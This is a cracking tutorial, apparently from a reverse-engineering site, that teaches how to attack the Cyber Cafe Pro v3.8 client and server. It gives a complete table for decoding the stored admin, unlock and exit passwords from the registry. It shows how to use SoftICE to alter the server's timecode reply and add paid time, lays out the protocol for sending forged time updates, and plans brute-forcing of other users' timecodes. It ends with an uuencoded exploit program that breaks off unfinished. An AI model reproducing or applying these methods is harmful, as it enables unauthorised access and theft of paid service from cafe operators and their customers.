Home    Training    Downloads    Tutorials    Arbitary    Get Fate    Proxy Info
 
Training session 31: Reaping Your Client For All Its Worth
Difficulty: Medium
Learn how to find an exploit in Cyber Cafe Pro
Creator: m101


Target:
   Cyber Cafe Pro Client/Server v3.8
URL:
   http://www.cybercafepro.com
Tools Required:
   Numega Softice
   Borland Delphi 6 (not essential)
   A few brain cells

----------
Contents
----------

Introduction
Section 1: Password Retrieval
Section 2: Network Analysis
Section 3: Timecode Cracking

-------------
Introduction
-------------

Cyber Cafe Pro is essentially a Visual Basic program, so its functions are rather limited. The aim of this essay will to do a number of things. Firstly, to create a program that is able to retrieve the three passwords CCP uses to protect itself (Admin, Unlock and Exit). Next, we will attempt to analyse the way in which the Client communicates with the server. This will be done 'blind' to the server so that in effect, it analyses what information the Client can exploit for its own uses. Lastly, we will find a way in which to discover other users accounts and time codes through way of query or bruteforcing the server.

--------------------------------
Section 1: Password Retrieval
--------------------------------

Obviously, we plan on finding a way to retreive the master passwords as these generally are the same for all clients and the server. I firstly installed CCP Client v3.8 with the default settings, rebooted and entered the 'Admin' menu. I was quite amazed to discover that the pricing appears to be set locally, it also appears to do pricing to the minute interval. I would presume from this that the client informs the server of its usage once every minute. Anyway, back to the passwords. After a bit of analysis of the 'System & Passwords' panel, i decided to first see where the passwords are logged. So i set a breakpoint with softice on 'CreateFileA' and clicked apply. Happily it breaks, so pess F12, set a breakpoint before the call and then go in search of the next call. Repeat this and you will find that there are infact two main calls to CreateFileA. Both files appear to be '.dat' files so lets go and have a look shall we. 'ccp.dat' and 'ccpsec.dat' both appear to be a dead end to our cause though. Since the directory for CCP is pretty empty, rather than checking for registry access with softice, i cracked open Win32DASM and had a look around in the Dead Listing. With little effort i came across a few interesting things, 'Setting0' through to 'Setting43' and 'HKEY_LOCAL_MACHINE\SOFTWARE\CCP\ADMIN'. I firstly set my passwords to 'a','aa' and 'aaa' so as to check for consistency and loaded up regedit. Setting0-3 appear to be the only things that look a little odd, and since they correspond directly to the order in which we entered them in the dialog, i would presume they are the password! Here is what i got:

Setting0=3\4#			<a
Setting1=3AO}			<a
Setting2=3Yr:			<a

From this we can see that each letter in the passwords correspond to four encrypted characters. I feel like breaking this encryption without the use of Softice just for experience sake, fell free to do otherwise though. Lets be a little more thorough and see if the values stay the same if we enter them again:

Setting0 = 3nhA			<a
Setting1 = 3Rvq			<a
Setting2 = 3_`6			<a

At this point i am a little interested, it doesnt appear to just be an old byte by byte xor routine. Just to get my head around it, lets go through a couple more rounds of a's:

Setting0 = 3_`6
Setting1 = 3Yr:
Setting2 = 3glx

Setting0 = 3Rvq
Setting1 = 3_`6
Setting2 = 3>#j

To me, it appears that CCP is using some kind of table and randomiser. So far i have had '3Yr:' twice, '3_`6' three times and '3Rvq' twice, all in diferent positions. Roll through a number of password entries and you will get something like this:
3\4#
3AO}
3_`6
3Yr:
3nhA
3glx
3Rvq
3>#j
3VF'
3tV=
3M+u
3eN2
3G=y
3Cnf
3b!|
3PX+
3Jj/

There are probably another three or more, but i dont see the point in any more clicking. So lets try and input any value we have found into the registry and see what we get. I have chosen to place '3PX+' into 'Setting2'. Just as i suspected, the admin dialog still returns our value as 'a'! If you havent already picked up on it yet, every value we have given CCP has ended up giving us a value beginning with '3'. Lets just test this a little by entering more a's in each field. Here is what i got:
Setting0 = 3PX+					<a
Setting1 = 3Yr: 3nhA 3tV=			<aaa
Setting2 = 3k<. 3Rvq 3M+u 3PX+ 3M+u 3Rvq	<aaaaaa

Although i do realise this approach i have chosen seems slow, it is probably saving me alot of time trying to work out what is going on to logically produce these codes. Lets try this now, enter 'a', 'b', 'ab' as the serials respectivally. You will arrive at this:
Setting0 = 3Jj/
Setting1 = 3Rv`
Setting2 = 3\\4 #3mZ Z

Whats this? Another character? Lets play a little more with 'b' first:
Setting0 = 3b!f
Setting1 = 3b!f 3sHT 3gl` 3k;r 3b!f
Setting2 = 3CnZ 3eMx 3M+f 3I\\ T3q) l3eM x3AO r3q) l3eM x3sH T

This seems a little strange, but what if the 'T' is an alignment character? Lets try alot of a's:
3tV= 3q** 3Cnf 3VF' 3Yr: 3nhA 3q** 3AO} 3\4# 3G=y

Nope, im wrong. Lets try adding a 'known' value for 'b' after a 'known' value for 'a'. '3Jj/3CnZ' gives me 'ab'!

Now lets try and explain that 'T', '3Jj/T3CnZ' should do the trick. It in effect appears to have cut the value down to a single 'a'. Fiddle a little more by yourself now.

I do beleive i screwed up a minute ago, it appears that '3CnZ 3eMx 3M+f 3I\\ T3q) l3eM x3AO r3q) l3eM x3sH T' doesnt actually have that 'T' in the middle, but it appears that CCP is placing fake values at the end of codes, then again, it is vb code, so its probably just a bug. We have two choices here, we can either debug the program and find if there is a real table, or find out how it generates the codes, or we can code our own program up to sort our input and build value tables. Personally i dislike following vb code that much, ill create a table:

-----------------------------a------------------------------
3Cnf          3PX+          3VF'          3Rvq          3_`6
3q**          3Jj/          3\4#          3>#j          3Yr:
3M+u          3b!|          3k<.          3G=y          3AO}
3tV=          3glx          3eN2          3nhA

-----------------------------b------------------------------
3Rv`          3gl`          3CnZ          3>#`          3k;r
3VEr          3^RT          3b!f          3eMx          3M+f
3sHT          3I\T          3\3l          3XdZ          3q)l
3G=l          3PWx          3mZZ          3AOr

-----------------------------c------------------------------
3sH8          3d@7          3CnN          3q)Q          3glH
3>#V          3I\F          3mZ@          3b!P          3RvO
3OJ>          3\3X          3XdG          3k;Y          3AOg
3^R?          3M+W          3G=_          3VE`

-----------------------------d------------------------------
3sGy          3j-s          3M+H          3mZ&          3U8$
3CnB          3AO\          3I\8          3OJ.          3>#L
3gl0          3Xd4          3d?}          3^R*          3b!:
3G=R          3\3D          3oxi          3Rv>

-----------------------------e------------------------------
3M+9          3Rv-          3@B'          3I\*          3OI{
3`pW          3G=E          3Xd!          3j-Z          3f^K
3^Qr          3d?f          3Cn6          3>#B          3sG]
3[%c          3oxN          3mYi          3U7o

-----------------------------f------------------------------
3Ruy          3f^3          3Cn*          3>#8          3j-A
3U7]          3^Q]          3`pA          3d?O          3Kz]
3r9t          3I[y          3[%O          3Xck          3ox3
3F/k          3OIk          3lL%          3@Ay

-----------------------------g------------------------------
3r9X          3WV.          3lKh          3U7K          3owu
3KzN          3f]x          3Qh>          3c1k          3[%;
3>#.          3OI[          3]C{          3j-(          3`p+
3F/^          3I[k          3@An          3Cm{

-----------------------------h------------------------------
3f]`          3Qh-          3Cmo          3lKN          3@Ac
3OIK          3>#$          3`or          3I[]          3]Cf
3[%'          3r9<          3nj0          3F/Q          3WUx
3Kz?          3U79          3h|B          3c1T

-----------------------------i------------------------------
3nir          3[$p          3]CQ          3r8}          3`o\
3h|)          3WUe          3f]H          3I[O          3F/D
3c1=          3@AX          3>"w          3lK4          3Cmc
3Kz0          3U7'          3Qgy          3OI;

-----------------------------j------------------------------
3Yt2          3]C<          3_ay          3WUR          3q+7
3B`-          3h{m          3c1&          3niW          3<rC
3T)H          3F/7          3N;^          3Kz!          3k=M
3HMt          3Qgh          3eOc          3@AM

-----------------------------k------------------------------
3q*x          3T)6          3Ys{          3c0l          3Kyo
3k=3          3m[o          3h{T          3]C'          3B`!
3eOK          3HMf          3@AB          3WU?          3<r9
3F/*          3QgW          3N;N          3_ac

-----------------------------l------------------------------
3T),          3\5E          3PYy          3<r/          3m[T
3b#+          3Ky`          3gmn          3Ysg          3k<v
3q*\          3B_r          3@A7          3HMX          3N;>
3eO3          3VG_          3_aM          3F.z

-----------------------------m------------------------------
3m[9          3PYh          3eNx          3HMJ          3oys
3gmU          3E!C          3j/2          3Jl'          3T(o
3@A$          3N;.          3<r%          3B_f          3VGL
3_a7          3b"q          3\50          3YsS
-----------------------------n------------------------------
3N:{          3HM<          3\4x          3Ys?          3oyW
3PYW          3j.u          3b"Z          3^ST          3E!6
3VG9          3mZ{          3gm<          3Jku          3dA6
3T(]          3?3T          3<qx          3B_Z

-----------------------------o------------------------------
3\4c          3<qn          3?3I          3PYF          3^S>
3Rx!          3HM.          3Xe^          3oy;          3j.[
3lM6          3B_N          3VG&          3E!)          3d@{
3b"C          3gm#          3N:k          3Jkf

-----------------------------p------------------------------
3D}y          3M-1          3lLx          3B_B          3Rwl
3VFp          3XeJ          3PY5          3j.A          3<qd
3`q_          3f_=          3\4N          3?3>          3HL}
3d@c          3^S(          3ox|          3JkW

-----------------------------q------------------------------
3B_6          3`qH          3[&l          3^Ro          3PY,
3Xe6          3<qZ          3U93          3f_,          3nk6
3?33          3d@K          3lL]          3RwZ          3JkH
3M-!          3h}Z          3D}l          3G?E

-----------------------------r------------------------------
3f^h          3c2f          3D}_          3[&W          3?3(
3AQ]          3M,n          3OKF          3`q1          3Jk9
3U8}          3njw          3<qP          3^RY          3h}@
3lLB          3G?7          3RwH          3Xe"

-----------------------------s------------------------------
3Xdk          3h}&          3D}R          3M,^          3nj[
3Rw6          3U8j          3AQQ          3G?)          3[&B
3c2N          3?2z          3OK5          3<qF          3Jk*
3k>Z          3f^O          3`pw          3]Dv

-----------------------------t------------------------------
3ePi          3WW-          3?2o          3U8W          3_c6
3;co          3]D`          3m\r          3I]N          3k>?
3G>x          3D}E          3[&-          3c26          3h|i
3AQE          3OK$          3Rw,          3M,N

-----------------------------u------------------------------
3Cok          3_b|          3ePP          3?2d          3;ce
3]DJ          3k>$          3OJp          3QiE          3AQ9
3M~>          3go%          3I]?          3c1{          3G>j
3m\V          3YuK          3WVv          3U8D

-----------------------------v------------------------------
3K{a          3eP7          3OJ_          3m\:          3]D4
3Yu6          3b$9          3WVb          3gnh          3U81
3I]0          3;c[          3Co^          3AQ-          3Qi3
3_be          3?2Y          3G>\          3j0<

-----------------------------w------------------------------
3I]!          3T*Q          3CoQ          3j0!          3Qi!
3Yu!          3gnN          3OJN          3b$!          3K{Q
3eO{          3AQ!          3;cQ          3\6Q          3G>N
3_bN          3m[{          3WVN          3>%$

-----------------------------x------------------------------
3T*>          3WV:          3_b7          3CoD          3dB8
3N<p          3I\o          3Qhl          3lN5          3b#f
3K{A          3F0s          3>$v          3j/c          3\6;
3gn4          3;cG          3Yti          3APr

-----------------------------y------------------------------
3VHY          3T*+          3;c=          3^TS          3b#N
3dA|          3K{1          3>$k          3j/H          3I\`
3F0e          3\6%          3N<_          3f`M          3Co7
3YtT          3lMv          3QhZ          3APf

-----------------------------z------------------------------
3;c3          3dAc          3`ri          3\5l          3lMZ
3i!`          3K{!          3>$`          3F0W          3N<N
3HO'          3T)u          3f`3          3Xfr          3@C0
3PZ{          3Co*          3VHE          3^T<

Ok, well now we have a table of values that we can work out any password that contains [a-z] but however not [A-Z] or [0-9]. If you really are desperate enough, you can finish off the tables or spend a while debugging. If you dont understand the use of the tables, this is how it works:

First we open up the registry entry and find our code which in this case is:
3lK43T(]3M,^3Rvq3N:{3U7o
Now we split it up into groups of four:
3lK4 3T(] 3M,^ 3Rvq 3N:{ 3U7o
Then search the tables for these values to find the plain text password:
3lK4 i
3T(] n
3M,^ s
3Rvq a
3N:{ n
3U7o e

Password: insane

As an excercise for the reader, you can create a program that does the following:

Opens the key 'HKEY_LOCAL_MACHINE\SOFTWARE\CCP\ADMIN'
Reads the values from 'Setting0' to 'Setting2'
Runs them through our tables to find their real values
Displays the resulting passwords in a nice window

The excercise isnt that dificult, and probably is more interesting than me just handing you my code.

------------------------------
Section 2: Network Analysis
------------------------------

By now, you should be able to retreive any password you desire from CCP and pretty much do what you want. From here we will analize the way in which the Client communicates with the Server. The first thing to do is see what we get back after sending the server a time code. To do this open up Softice and type 'bpx recv DO "d esp->8"'.

This will set a breakpoint on the receival of data and automatically set your data window to the location of the data. Enter a fake timecode and Softice will break, press F11 to return from the call and you should see '[#ne]P!' in the data window. Now enter a valid timecode and see what happens. For me this returns '[#003:56]'. If you havent already noticed, this is the ammount of time you have left, three hours and fifty six minutes.

Lets try and modify the return data and see the result. After the return change the data from '[#003:56]' to '[#008:56]'. You should now locally have nearly nine hours left! Since this is a client/server application, i checked up on the server, and indeed, the server also beleives the timecode now got more time left than it originally had. Very interesting, it appears we can add time to any timecode without even touching the server. From here you could code an app to perform this for you and update any timecode with more time than is actually available. Although we have now found an exploit in the software, we should continue our work as reversers and see what else we can find. Have a go at examining the connection with '!send' and '!recv' and see what you find. Here is what i have observered in just a few minutes:

Connection starts, client connects to server and sends the following data:
[*BM]P!
This refers directly to the computers hostname 'BM' and the 'P!' tells the server it is connecting. The server then replies with the following three sets of information in one stream:
[=2/12/2002 4:38:23 AM][|2|0|2|1|1|0|AM|PM|$|/|.|3;0|ddd, d MMMM yyyy |.|3;0|,|-|***|d/MM/yyyy|,|:|h:mm:ss tt][S]
This information controls general formatting of the date and time, the client acknowledges each set with this:
[U][U][U]
The Client is now connected to the server. The client must now send '[!]' periodically to tell the server that it is still connected, the server will echo the reply. When a client attempts to activate a time code, the following data is sent to the server:
[#01234]
Where '01234' is the time code to try. The server either responds with '[#ne]P!' for a failure, or with the time left in the form:
[#003:56]
The client now sends its timecode and time left back to the server like this:
[&B2D56005:08]
The server does not respond to this but however logs the time left. When the client wishes to log off it sends the following data:
[^B2D56005:07][U]
That completes the connection and disconnection processes, so lets look for any conditional status's such as resetting the account:
[\]
This resets the session, the client replies to this with the following:
[^][U][U]
The same also applies to end a session remotely. As a last function, the client also informs the server of brute forced login attempts by sending the following with no reply from the server:
[L]
There are more functions that are handled over the connection, but for now we wont worrie about them. Its on to the next section.

--------------------------------
Section 3: Timecode Cracking
--------------------------------

Now instead of the intended objective, we now have two. The first being to update any timecode we choose with as many hours as we like, and secondly to brute force the current available timecodes. Brute forcing the codes shouldnt be as intensive as you may think, the total possible combination from [A-Z][0-9] are 60,466,176. A rather small number in terms of possibilities.

--------------------
Objective 3: Part 1
--------------------

So, here is what we have to do to complete our first objective:

1. Send the following:
[*BM]P!
2. Pause and send:
[U][U][U]
3. Ping the server with:
[!]
4. Send the timecode to crack:
[#01234]
5. Pause and send the timecode and desired time back:
[&B2D56005:08]
6. Send the following to log off the timcode:
[^B2D56005:07][U]
This can all be done without much effort, so lets code the program. Since i dont beleive speed is the issue in this case, and also since CCP doesnt respond quite as fast as it should i have decided to code my app in Delphi 6, so here is my UUEncoded source code:
__________m101's Cyber Cafe Pro Timecode Exploitter__________

*CUT HERE*

section 1 of uuencode 5.25 of file ccp.zip    by R.E.M.

begin 644 ccp.zip
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
